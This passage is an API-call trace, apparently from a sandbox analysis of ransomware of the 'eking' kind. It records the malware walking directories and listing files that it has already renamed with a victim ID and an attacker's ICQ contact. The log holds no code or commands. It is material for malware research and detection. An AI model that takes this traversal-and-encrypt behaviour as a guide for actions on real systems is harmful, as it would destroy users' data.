ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2070", cAlternateFileName="")) returned 1 [0275.320] GetProcessHeap () returned 0xaf0000 [0275.320] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.321] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.321] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7640e6c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.322] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7640e6c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7640e6c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.322] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.322] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.322] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.323] GetProcessHeap () returned 0xaf0000 [0275.323] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.323] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3076", cAlternateFileName="")) returned 1 [0275.323] GetProcessHeap () returned 0xaf0000 [0275.323] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.324] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.324] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc781a21f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc781a21f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.324] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7840447, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7840447, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.324] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.325] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.325] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.326] GetProcessHeap () returned 0xaf0000 [0275.326] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.326] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3082", cAlternateFileName="")) returned 1 [0275.326] GetProcessHeap () returned 0xaf0000 [0275.326] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.327] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.327] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc78b2ba8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc78b2ba8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc799789a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.327] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d2b250, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.327] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.328] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.328] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.329] GetProcessHeap () returned 0xaf0000 [0275.329] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.329] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Client", cAlternateFileName="")) returned 1 [0275.329] GetProcessHeap () returned 0xaf0000 [0275.329] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.330] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.330] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d513e7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0275.332] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0275.332] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0275.332] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.559] GetProcessHeap () returned 0xaf0000 [0275.559] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.559] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d513e7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d513e7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d9d7b8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DHtmlHeader.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DHTMLH~1.EKI")) returned 1 [0275.559] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9d7b8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d9d7b8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f675ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DisplayIcon.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DISPLA~1.EKI")) returned 1 [0275.559] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Extended", cAlternateFileName="")) returned 1 [0275.559] GetProcessHeap () returned 0xaf0000 [0275.559] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.560] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.560] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7dc3b37, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7dc3b37, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f8d6b7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0275.560] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0275.560] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0275.561] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.562] GetProcessHeap () returned 0xaf0000 [0275.562] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.562] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Graphics", cAlternateFileName="")) returned 1 [0275.562] GetProcessHeap () returned 0xaf0000 [0275.562] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.563] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.563] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8d6b7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f8d6b7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PRINTI~1.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~1.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~2.EKI")) returned 1 [0275.564] 